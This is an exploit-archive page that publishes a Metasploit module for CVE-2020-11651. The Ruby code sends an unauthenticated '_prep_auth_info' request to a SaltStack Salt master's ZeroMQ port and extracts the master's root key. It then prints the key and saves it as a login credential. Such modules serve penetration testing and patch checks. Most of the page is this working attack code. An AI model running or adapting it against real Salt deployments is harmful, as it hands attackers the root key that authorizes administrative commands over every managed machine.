exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SaltStack Salt Master Server Root Key Disclosure

SaltStack Salt Master Server Root Key Disclosure
Posted Aug 31, 2024
Authored by wvu, F-Secure | Site metasploit.com

This Metasploit module exploits unauthenticated access to the _prep_auth_info() method in the SaltStack Salt masters ZeroMQ request server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to disclose the root key used to authenticate administrative commands to the master. VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2, 1.3, 1.5, and 1.6 in certain configurations, are known to be affected by the Salt vulnerabilities. Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as well as Vulhubs Docker image.

tags | exploit, root, vulnerability
systems | cisco, linux, ubuntu
advisories | CVE-2020-11651, CVE-2020-11652
SHA-256 | 9922c0377155419e922dea1399b39d3294fb61f540d20cfa4ae9f6df4566e2ce

SaltStack Salt Master Server Root Key Disclosure

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::ZeroMQ
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SaltStack Salt Master Server Root Key Disclosure',
'Description' => %q{
This module exploits unauthenticated access to the _prep_auth_info()
method in the SaltStack Salt master's ZeroMQ request server, for
versions 2019.2.3 and earlier and 3000.1 and earlier, to disclose the
root key used to authenticate administrative commands to the master.

VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual
Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
1.3, 1.5, and 1.6 in certain configurations, are known to be affected
by the Salt vulnerabilities.

Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
well as Vulhub's Docker image.
},
'Author' => [
'F-Secure', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-11651'], # Auth bypass (used by this module)
['CVE', '2020-11652'], # Authed directory traversals (not used here)
['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],
['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG'],
['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']
],
'DisclosureDate' => '2020-04-30', # F-Secure advisory
'License' => MSF_LICENSE,
'Actions' => [
['Dump', { 'Description' => 'Dump root key from Salt master' }]
],
'DefaultAction' => 'Dump',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)

register_options([
Opt::RPORT(4506)
])
end

def run
# These are from Msf::Exploit::Remote::ZeroMQ
zmq_connect
zmq_negotiate

unless (root_key = extract_root_key(yeet_prep_auth_info))
print_error('Could not find root key in serialized auth info')

# Return CheckCode for exploit/linux/misc/saltstack_salt_unauth_rce
return Exploit::CheckCode::Safe
end

print_good("Root key: #{root_key}")

# I hate this API, but store the root key in creds, too
create_credential_and_login(
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
address: rhost,
port: rport,
protocol: 'tcp',
service_name: 'salt/zeromq',
username: 'root',
private_data: root_key,
private_type: :password
)

# Return CheckCode for exploit/linux/misc/saltstack_salt_unauth_rce
Exploit::CheckCode::Vulnerable(root_key) # And the root key as the reason!
rescue EOFError, Rex::ConnectionError => e
print_error("#{e.class}: #{e.message}")
Exploit::CheckCode::Unknown
ensure
# This is from Msf::Exploit::Remote::ZeroMQ
zmq_disconnect
end

def yeet_prep_auth_info
print_status("Yeeting _prep_auth_info() at #{peer}")

zmq_send_message(serialize_clear_load('cmd' => '_prep_auth_info'))

unless (res = sock.get_once)
fail_with(Failure::Unknown, 'Did not receive auth info')
end

unless res.match(/user.+UserAuthenticationError.+root/m)
fail_with(Failure::UnexpectedReply,
"Did not receive serialized auth info: #{res.inspect}")
end

vprint_good('Received serialized auth info')

# HACK: Strip assumed ZeroMQ header and leave assumed MessagePack "load"
res[4..]
end

def extract_root_key(auth_info)
# Fetch root key from appropriate index of deserialized data, presumably
MessagePack.unpack(auth_info)[2]&.fetch('root')
rescue EOFError, KeyError, MessagePack::MalformedFormatError => e
print_error("#{__method__} failed: #{e.message}")
nil
end

end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close